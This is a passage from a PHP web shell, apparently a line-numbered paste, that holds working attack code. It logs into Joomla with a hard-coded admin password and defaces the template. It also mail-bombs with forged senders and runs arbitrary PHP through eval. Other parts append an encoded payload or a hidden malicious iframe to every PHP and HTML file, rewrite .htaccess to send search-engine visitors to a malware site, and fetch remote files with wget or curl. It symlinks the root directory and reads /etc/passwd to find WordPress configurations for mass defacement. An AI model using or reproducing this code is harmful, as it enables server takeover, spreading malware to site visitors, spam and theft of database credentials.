  3359. curl_setopt($ch, CURLOPT_HEADER, 1);
  3360. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3361. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3362. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3363.  
  3364.  
  3365. $buffer = curl_exec($ch);
  3366.  
  3367. $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
  3368. $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
  3369.  
  3370.  
  3371. $url2=$site_url."/index.php";
  3372. $ch = curl_init();
  3373. curl_setopt($ch, CURLOPT_URL, $url2);
  3374. curl_setopt($ch, CURLOPT_POST, 1);
  3375. curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
  3376. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3377. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3378. curl_setopt($ch, CURLOPT_HEADER, 0);
  3379. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3380. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3381. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3382. $buffer = curl_exec($ch);
  3383.  
  3384. $pos = strpos($buffer,"com_config");
  3385. if($pos === false)
  3386. {
  3387. echo("<br>[-] Login Error");
  3388. exit;
  3389. }
  3390.  
  3391. $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
  3392. $ch = curl_init();
  3393. curl_setopt($ch, CURLOPT_URL, $url2);
  3394. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3395. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3396. curl_setopt($ch, CURLOPT_HEADER, 0);
  3397. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3398. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3399.  
  3400. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3401. $buffer = curl_exec($ch);
  3402.  
  3403. $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
  3404. if(!$hidden2)
  3405. {
  3406. echo("<br>[-] index.php Not found in Theme Editor");
  3407. exit;
  3408. }
  3409.  
  3410. $url2=$site_url."/index.php?option=com_templates&layout=edit";
  3411.  
  3412. $ch = curl_init();
  3413. curl_setopt($ch, CURLOPT_URL, $url2);
  3414. curl_setopt($ch, CURLOPT_POST, 1);
  3415. curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
  3416.  
  3417. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3418. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3419. curl_setopt($ch, CURLOPT_HEADER, 0);
  3420. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3421. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3422. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3423. $buffer = curl_exec($ch);
  3424.  
  3425. $pos = strpos($buffer,'<dd class="message message">');
  3426. if($pos === false)
  3427. {
  3428. echo("<center><font size=4><blink>Cannot Deface Joomla</blink></font></center>");
  3429. }
  3430. else
  3431. {
  3432. echo("<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>");
  3433. }
  3434. }
  3435. else
  3436. {
  3437. $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
  3438. $data = mysql_fetch_array($req);
  3439. $template_name=$data["template"];
  3440.  
  3441. $url2=$site_url."/index.php";
  3442. $ch = curl_init();
  3443. curl_setopt($ch, CURLOPT_URL, $url2);
  3444. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3445. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3446. curl_setopt($ch, CURLOPT_HEADER, 1);
  3447. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3448. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3449. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3450. $buffer = curl_exec($ch);
  3451.  
  3452. $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
  3453.  
  3454. $url2=$site_url."/index.php";
  3455. $ch = curl_init();
  3456. curl_setopt($ch, CURLOPT_URL, $url2);
  3457. curl_setopt($ch, CURLOPT_POST, 1);
  3458. curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
  3459. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3460. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3461. curl_setopt($ch, CURLOPT_HEADER, 0);
  3462. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3463. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3464. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3465. $buffer = curl_exec($ch);
  3466.  
  3467. $pos = strpos($buffer,"com_config");
  3468.  
  3469. if($pos === false)
  3470. {
  3471. echo("<br>[-] Login Error");
  3472. exit;
  3473. }
  3474.  
  3475. $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
  3476. $ch = curl_init();
  3477. curl_setopt($ch, CURLOPT_URL, $url2);
  3478. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3479. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3480. curl_setopt($ch, CURLOPT_HEADER, 0);
  3481. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3482. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3483. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3484. $buffer = curl_exec($ch);
  3485.  
  3486. $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
  3487.  
  3488. if(!$hidden2)
  3489. {
  3490. echo("<br>[-] index.php Not found in Theme Editor");
  3491. }
  3492.  
  3493. $url2=$site_url."/index.php?option=com_templates&layout=edit";
  3494. $ch = curl_init();
  3495. curl_setopt($ch, CURLOPT_URL, $url2);
  3496. curl_setopt($ch, CURLOPT_POST, 1);
  3497. curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
  3498. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3499. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3500. curl_setopt($ch, CURLOPT_HEADER, 0);
  3501. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3502. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3503. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3504. $buffer = curl_exec($ch);
  3505.  
  3506. $pos = strpos($buffer,'<dd class="message message fade">');
  3507. if($pos === false)
  3508. {
  3509. echo("<center><font size=4><blink>Cannot Deface Joomla</blink></font></center>");
  3510. exit;
  3511. }
  3512. else
  3513. {
  3514. echo("<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>");
  3515. }
  3516. }
  3517. }
  3518. }
  3519. else if(isset($_POST['pathtomass']) && $_POST['pathtomass'] != '' && isset($_POST['filetype']) && $_POST['filetype'] != '' && isset($_POST['mode']) && $_POST['mode'] != '' && isset($_POST['injectthis']) && $_POST['injectthis'] != '')
  3520. {
  3521. $filetype = $_POST['filetype'];
  3522.  
  3523. $mode = "a";
  3524.  
  3525. if($_POST['mode'] == 'Apender')
  3526. $mode = "a";
  3527.  
  3528. if($_POST['mode'] == 'Overwriter')
  3529. $mode = "w";
  3530.  
  3531. if (is_dir($_POST['pathtomass']))
  3532. {
  3533. $lolinject = $_POST['injectthis'];
  3534. $mypath = $_POST['pathtomass'] .$directorysperator. "*.".$filetype;
  3535. if(substr($_POST['pathtomass'], -1) == "\\")
  3536. $mypath = $_POST['pathtomass'] . "*.".$filetype;
  3537. foreach (glob($mypath) as $injectj00)
  3538. {
  3539. /*if($injectj00 == getcwd().$_SERVER['SCRIPT_NAME'])
  3540. continue;
  3541. $fp=fopen($injectj00,$mode);
  3542. if (fputs($fp,$lolinject))
  3543. echo '<br><font class=txt size=3>'.$injectj00.' was injected<br></font>';
  3544. else
  3545. echo 'failed to inject '.$injectj00.'<br>';*/
  3546. }
  3547. $dirs = glob($_POST['pathtomass'] . '/*' , GLOB_ONLYDIR);
  3548. foreach ($dirs as $dir)
  3549. {
  3550. injectdir($dir,$filetype,$mode,$lolinject);
  3551. }
  3552. }
  3553. else
  3554. echo '<b>'.$_POST['pathtomass'].' is not available!</b>';
  3555. }
  3556. else if(isset($_POST['mailfunction']))
  3557. {
  3558. if($_POST['mailfunction'] == "dobombing")
  3559. {
  3560. if(isset($_POST['to']) && isset($_POST['subject']) && isset($_POST['message']) && isset($_POST['times']) && $_POST['to'] != '' && $_POST['subject'] != '' && $_POST['message'] != '' && $_POST['times'] != '')
  3561. {
  3562. $times = $_POST['times'];
  3563. while($times--)
  3564. {
  3565. if(isset($_POST['padding']))
  3566. {
  3567. $fromPadd = rand(0,9999);
  3568. $subjectPadd = " -- ID : ".rand(0,9999999);
  3569. $messagePadd = "\n\n------------------------------\n".rand(0,99999999);
  3570.  
  3571. }
  3572. $from = "hello$fromPadd@abcd.in";
  3573. if(!mail($_POST['to'],$_POST['subject'].$subjectPadd,$_POST['message'].$messagePadd,"From:".$from))
  3574. {
  3575. $error = 1;
  3576. echo "<center><font size=3><blink><blink>Some Error Occured!</blink></font></center>";
  3577. break;
  3578. }
  3579. }
  3580. if($error != 1)
  3581. echo "<center><font class=txt size=3><blink>Mail(s) Sent!</blink></font></center>";
  3582. }
  3583. }
  3584. else if($_POST['mailfunction'] == "massmailing")
  3585. {
  3586. if(isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['message']))
  3587. {
  3588. if(mail($_POST['to'],$_POST['subject'],$_POST['message'],"From:".$_POST['from']))
  3589. echo "<center><font class=txt size=3><blink>Mail Sent!</blink></font></center>";
  3590. else
  3591. echo "<center><font size=3><blink>Some Error Occured!</blink></font></center>";
  3592. }
  3593. }
  3594. }
  3595. else if(isset($_POST['code']))
  3596. {
  3597. if($_POST['code'] != null && isset($_POST['intext']) && $_POST['intext'] == "true")
  3598. {
  3599. // FIlter Some Chars we dont need
  3600. ?><br>
  3601. <textarea name="code" class="box" cols="120" rows="10"><?php
  3602. $code = str_replace("<?php","",$_POST['code']);
  3603. $code = str_replace("<?","",$code);
  3604. $code = str_replace("?>","",$code);
  3605.  
  3606. // Evaluate PHP CoDE!
  3607. htmlspecialchars(eval($code));
  3608. ?>
  3609. </textarea><?php
  3610. }
  3611. else if($_POST['code'] != null && $_POST['intext'] == "false")
  3612. {
  3613. $code = str_replace("<?php","",$_POST['code']);
  3614. $code = str_replace("<?","",$code);
  3615. $code = str_replace("?>","",$code);
  3616.  
  3617. // Evaluate PHP CoDE!
  3618. ?><br><font size="4">Result of execution this PHP-code :</font><br><font class=txt><?php htmlspecialchars(eval($code)); ?></font><?php
  3619. }
  3620. }
  3621. else if(isset($_GET['infect']))
  3622. {
  3623. $mal_code="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";
  3624. $coun = 0;
  3625. foreach (glob($_GET['path'] . $directorysperator . "*.php") as $injectj00)
  3626. {
  3627. if($injectj00 == getcwd().$_SERVER['SCRIPT_NAME'])
  3628. continue;
  3629. if($myfile=fopen($injectj00,'a'))
  3630. {
  3631. fputs($myfile, gzuncompress(base64_decode($mal_code)));
  3632. fclose($myfile);
  3633. $coun = 1;
  3634. }
  3635. }
  3636. foreach (glob($_GET['path'] . $directorysperator . "*.htm") as $injectj00)
  3637. {
  3638. if($myfile=fopen($injectj00,'a'))
  3639. {
  3640. fputs($myfile, gzuncompress(base64_decode($mal_code)));
  3641. fclose($myfile);
  3642. $coun = 1;
  3643. }
  3644. }
  3645. foreach (glob($_GET['path'] . $directorysperator . "*.html") as $injectj00)
  3646. {
  3647. if($myfile=fopen($injectj00,'a'))
  3648. {
  3649. fputs($myfile, gzuncompress(base64_decode($mal_code)));
  3650. fclose($myfile);
  3651. $coun = 1;
  3652. }
  3653. }
  3654. if($coun == 1)
  3655. echo "<center>Done !!!!<center>";
  3656. else
  3657. echo "<center>Cannot open files !!!!<center>";
  3658. }
  3659. else if(isset($_GET['infectiframe']))
  3660. {
  3661. $coun = 0;
  3662. $str = "<iframe width=0px height=0px frameborder=no name=frame1 src=".$malsite."> </iframe>";
  3663. foreach (glob($_GET['path'] . $directorysperator . "*.php") as $injectj00)
  3664. {
  3665. if($injectj00 == getcwd().$_SERVER['SCRIPT_NAME'])
  3666. continue;
  3667. if($myfile=fopen($injectj00,'a'))
  3668. {
  3669. fputs($myfile, $str);
  3670. fclose($myfile);
  3671. $coun = 1;
  3672. }
  3673. }
  3674. foreach (glob($_GET['path'] . $directorysperator . "*.htm") as $injectj00)
  3675. {
  3676. if($myfile=fopen($injectj00,'a'))
  3677. {
  3678. fputs($myfile, $str);
  3679. fclose($myfile);
  3680. $coun = 1;
  3681. }
  3682. }
  3683. foreach (glob($_GET['path'] . $directorysperator . "*.html") as $injectj00)
  3684. {
  3685. if($myfile=fopen($injectj00,'a'))
  3686. {
  3687. fputs($myfile, $str);
  3688. fclose($myfile);
  3689. $coun = 1;
  3690. }
  3691. }
  3692.  
  3693.  
  3694. if($coun == 1)
  3695. echo "<center>Done !!!!<center>";
  3696. else
  3697. echo "<center>Cannot open files !!!!<center>";
  3698. }
  3699. else if(isset($_GET['redirect']))
  3700. {
  3701. if($myfile = fopen(".htaccess",'a'))
  3702. {
  3703. $mal = "# BEGIN WordPress
  3704. RewriteEngine On
  3705. RewriteOptions inherit
  3706. RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
  3707. RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
  3708. RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
  3709. RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
  3710. RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
  3711. RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
  3712. RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
  3713. RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
  3714. RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
  3715. RewriteRule .* ".$malsite." [R,L]\n\r";
  3716. fwrite($myfile, $mal);
  3717. fclose($myfile);
  3718. echo "<center>Done !!!!<center>";
  3719. }
  3720. else
  3721. echo "<center>Cannot open file !!!!<center>";
  3722. }
  3723. else if(isset($_GET['malware']))
  3724. { ?>
  3725. <input type="hidden" id="malpath" value="<?php echo $_GET["dir"]; ?>">
  3726. <center><table><tr><td><a href=# onClick="malwarefun('infect')"><font class=txt size="4">| Infect Users |</font></a></td>
  3727. <td><a href=# onClick="malwarefun('infectiframe')"><font class=txt size="4">| Infect Users with Iframe |</font></a></td>
  3728. <td><a href=javascript:void(0) onClick="malwarefun('redirect')"><font class=txt size="4">| Redirect Search Engine TO Malwared site |</font></a></td></tr></table></center>
  3729. <div id="showmal"></div>
  3730. <?php
  3731. }
  3732. else if(isset($_GET['codeinsert']))
  3733. {
  3734. if($file1 = fopen(".htaccess",'r'))
  3735. {
  3736. ?><div id="showcode"></div>
  3737. <form method=post>
  3738. <textarea rows=9 cols=110 name="code" class=box><?php while(!feof($file1)) { echo fgets($file1); } ?></textarea><br>
  3739. <input type="button" onClick="codeinsert(code.value)" value=" Insert " class=but>
  3740. </form>
  3741. <?php }
  3742. else
  3743. echo "<center>Cannot Open File!!</center>";
  3744. }
  3745. else if(isset($_POST['getcode']))
  3746. {
  3747. if($myfile = fopen(".htaccess",'a'))
  3748. {
  3749. fwrite($myfile, $_POST['getcode']);
  3750. fwrite($myfile, "\n\r");
  3751. fclose($myfile);
  3752. echo "<font class=txt>Code Inserted Successfully!!!!</font>";
  3753. }
  3754. else
  3755. echo "Permission Denied";
  3756. }
  3757. else if(isset($_GET['uploadurl']))
  3758. {
  3759. $functiontype = trim($_GET['functiontype']);
  3760. $wurl = trim($_GET['wurl']);
  3761. $path = magicboom($_GET['path']);
  3762.  
  3763. function remotedownload($cmd,$url)
  3764. {
  3765. $namafile = basename($url);
  3766. switch($cmd)
  3767. {
  3768. case 'wwget':
  3769. execmd(which('wget')." ".$url." -O ".$namafile);
  3770. break;
  3771. case 'wlynx':
  3772. execmd(which('lynx')." -source ".$url." > ".$namafile);
  3773. break;
  3774. case 'wfread' :
  3775. execmd($wurl,$namafile);
  3776. break;
  3777. case 'wfetch' :
  3778. execmd(which('fetch')." -o ".$namafile." -p ".$url);
  3779. break;
  3780. case 'wlinks' :
  3781. execmd(which('links')." -source ".$url." > ".$namafile);
  3782. break;
  3783. case 'wget' :
  3784. execmd(which('GET')." ".$url." > ".$namafile);
  3785. break;
  3786. case 'wcurl' :
  3787. execmd(which('curl')." ".$url." -o ".$namafile);
  3788. break;
  3789. default:
  3790. break;
  3791. }
  3792. return $namafile;
  3793. }
  3794. $namafile = remotedownload($functiontype,$wurl);
  3795. $fullpath = $path . $directorysperator . $namafile;
  3796. if(is_file($fullpath))
  3797. {
  3798. echo "<center><font class=txt>File uploaded to $fullpath</font></center>";
  3799. }
  3800. else
  3801. echo "<center>Failed to upload $namafile</center>";
  3802. }
  3803. else if(isset($_GET['createfolder']))
  3804. {
  3805. if(!mkdir($_GET['createfolder']))
  3806. echo '<BR>Failed To create<BR><input name="save" type="button" onClick="cancel()" value=" OK " id="spacing" class="but"/><BR><BR>';
  3807. else
  3808. echo '<BR><font class=txt>Folder Created Successfully</font><BR><input name="save" type="button" onClick="cancel()" value=" OK " id="spacing" class="but"/><BR><BR>';
  3809. }
  3810. else if(isset($_GET['selfkill']))
  3811. {
  3812. if(unlink($curfile))
  3813. echo "<br><center><font size=5>Good Bye......</font></center>";
  3814. else
  3815. echo "<br><center><font size=5>Shell cannot be removed......</font></center>";
  3816. }
  3817. else if(isset($_GET['Create']))
  3818. {
  3819. ?><BR>
  3820. <form method="post">
  3821. <input type="hidden" name="filecreator" value="<?php echo $_GET['Create']; ?>">
  3822. <textarea name="filecontent" rows="12" cols="100" class="box"></textarea><br />
  3823. <input type="button" onClick="createfile(filecreator.value,filecontent.value)" value=" Save " class="but"/>
  3824. <input name="save" type="button" onClick="cancel()" value="Cancel" id="spacing" class="but"/>
  3825. </form>
  3826.  
  3827. <?php }
  3828. else if(isset($_GET['readfile']))
  3829. {
  3830. if(is_file($_GET['readfile']))
  3831. {
  3832. $owner = "0/0";
  3833. if($os == "Linux")
  3834. $owner = getOGid($_GET['readfile']);
  3835. ?>
  3836. <form>
  3837. <table style="width:57%;">
  3838. <tr align="left">
  3839. <td align="left">File : </td><td><font class=txt><?php echo $_GET['readfile'];?></font></td><td align="left">Permissions : </td><td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo addslashes($_GET['readfile']); ?>')"><?php echo filepermscolor($_GET['readfile']);?></a></td>
  3840. </tr>
  3841. <tr>
  3842. <td>Size : </td><td><?php echo HumanReadableFileSize(filesize($_GET['readfile']));?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td>
  3843. </tr>
  3844. </table>
  3845. <textarea name="content" rows="15" cols="100" class="box"><?php
  3846. $content = htmlspecialchars(file_get_contents($_GET['readfile']));
  3847. if($content)
  3848. {
  3849. echo $content;
  3850. }
  3851. else if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))
  3852. {
  3853. if(filesize($_GET['readfile']) != 0 )
  3854. {
  3855. fopen($_GET['readfile']);
  3856. while(!feof())
  3857. {
  3858. echo htmlspecialchars(fgets($_GET['readfile']));
  3859. }
  3860. }
  3861. }
  3862.  
  3863. ?>
  3864. </textarea><br />
  3865. <input name="save" type="button" onClick="savemyfile('<?php echo addslashes($_GET['readfile']); ?>',content.value)" value="Save Changes" id="spacing" class="but"/>
  3866. <input type="button" onClick="cancel()" value="cancel" class="but" />
  3867. </form>
  3868. <?php
  3869. }
  3870. else
  3871. echo '<BR><input name="save" type="button" onClick="cancel()" value=" OK " id="spacing" class="but"/><BR>File does not exist !!!!<BR>';
  3872. }
  3873. else if(isset($_POST['filecreator'])&&isset($_POST['filecontent']))
  3874. {
  3875. $content = $_POST['filecontent'];
  3876. if($file_pointer = fopen($_POST['filecreator'], "w+"))
  3877. {
  3878. fwrite($file_pointer, $content);
  3879. fclose($file_pointer);
  3880. echo "<font class=txt>File Created Successfully</font>";
  3881. }
  3882. else
  3883. echo "Cannot Create File";
  3884. }
  3885. else if(isset($_REQUEST["massdeface"]))
  3886. {
  3887. ?><center><table><tr><td><a href=# onClick="getmydefacedata('masswp')"><font class=txt size="4">| Wordpress |</font></a></td>
  3888. <td><a href=# onClick="getmydefacedata('massjo')"><font class=txt size="4">| Joomla |</font></a></td>
  3889. <td><a href=# onClick="getmydefacedata('massvb')"><font class=txt size="4">| Vbulletin |</font></a></td>
  3890. </tr></table></center><br><div id="showmydeface"></div><?php
  3891. }
  3892. else if(isset($_REQUEST["masswp"]))
  3893. {
  3894. ?><center><form method="post">
  3895. <textarea id="massdef" cols=80 rows="19" class="box">You Just Got Hacked</textarea>
  3896. <br><input type="button" onClick="massdeface('domasswp',massdef.value)" class="but" value=" Go "></form></center><br><div id="showdef"></div><?php
  3897. }
  3898. else if(isset($_REQUEST["massjo"]))
  3899. {
  3900. ?><center><form method="post"><textarea id="massdef" cols=80 rows="20" class="box">You Just Got Hacked</textarea>
  3901. <br><input type="button" onClick="massdeface('domassjo',massdef.value)" class="but" value=" Go "></form></center><br><div id="showdef"></div><?php
  3902. }
  3903. else if(isset($_REQUEST["massvb"]))
  3904. {
  3905. ?><center><form method="post"><textarea id="massdef" cols=80 rows="20" class="box">You Just Got Hacked</textarea>
  3906. <br><input type="button" onClick="massdeface('domassvb',massdef.value)" class="but" value=" Go "></form></center><br><div id="showdef"></div><?php
  3907. }
  3908. else if(isset($_REQUEST["massscript"]))
  3909. {
  3910. if($os != "Windows")
  3911. {
  3912. $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  3913. $path=explode('/',$url);
  3914. $url =str_replace($path[count($path)-1],'',$url);
  3915.  
  3916. if($_REQUEST["massscript"] == "domasswp")
  3917. {
  3918. echo "<center><table border=1 style='width:70%;'><tr align=center><th>Site</th><th>Message</th><tr>";
  3919. mkdir("dhanush");
  3920. chdir("dhanush");
  3921. execmd("ln -s / root");
  3922. $file3 = 'Options all
  3923. DirectoryIndex Sux.html
  3924. AddType text/plain .php
  3925. AddHandler server-parsed .php
  3926. AddType text/plain .html
  3927. AddHandler txt .html
  3928. Require None
  3929. Satisfy Any
  3930. ';
  3931. $fp3 = fopen('.htaccess','w');
  3932. $fw3 = fwrite($fp3,$file3);
  3933. @fclose($fp3);
  3934. if(@file('/etc/passwd'))
  3935. {
  3936. $users = file('/etc/passwd');
  3937. foreach($users as $user)
  3938. {
  3939. $user = explode(':', $user);
  3940.  
  3941. $conf = @file_get_contents($url."dhanush/root/home/".$user[0]."/public_html/wp-config.php");
  3942. if(entre2v2($conf,"define('DB_USER', '","');"))
  3943. changeindexwp($conf,$_REQUEST['massdef']);
  3944. }
  3945. }
  3946. else
  3947. {
  3948. $temp = "";
  3949. $val1 = 0;
  3950. $val2 = 1000;
  3951. for(;$val1 <= $val2;$val1++)
  3952. {
  3953. $uid = @posix_getpwuid($val1);
  3954. if ($uid)
  3955. $temp .= join(':',$uid)."\n";
  3956. }
  3957.  
  3958. $temp = trim($temp);
  3959.  
  3960. if($file5 = fopen("test.txt","w"))
  3961. {
  3962. fputs($file5,$temp);
  3963. fclose($file5);
  3964.  
  3965. $file = fopen("test.txt", "r");
  3966. while(!feof($file))
  3967. {
  3968. $s = fgets($file);
  3969. $matches = array();
  3970. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
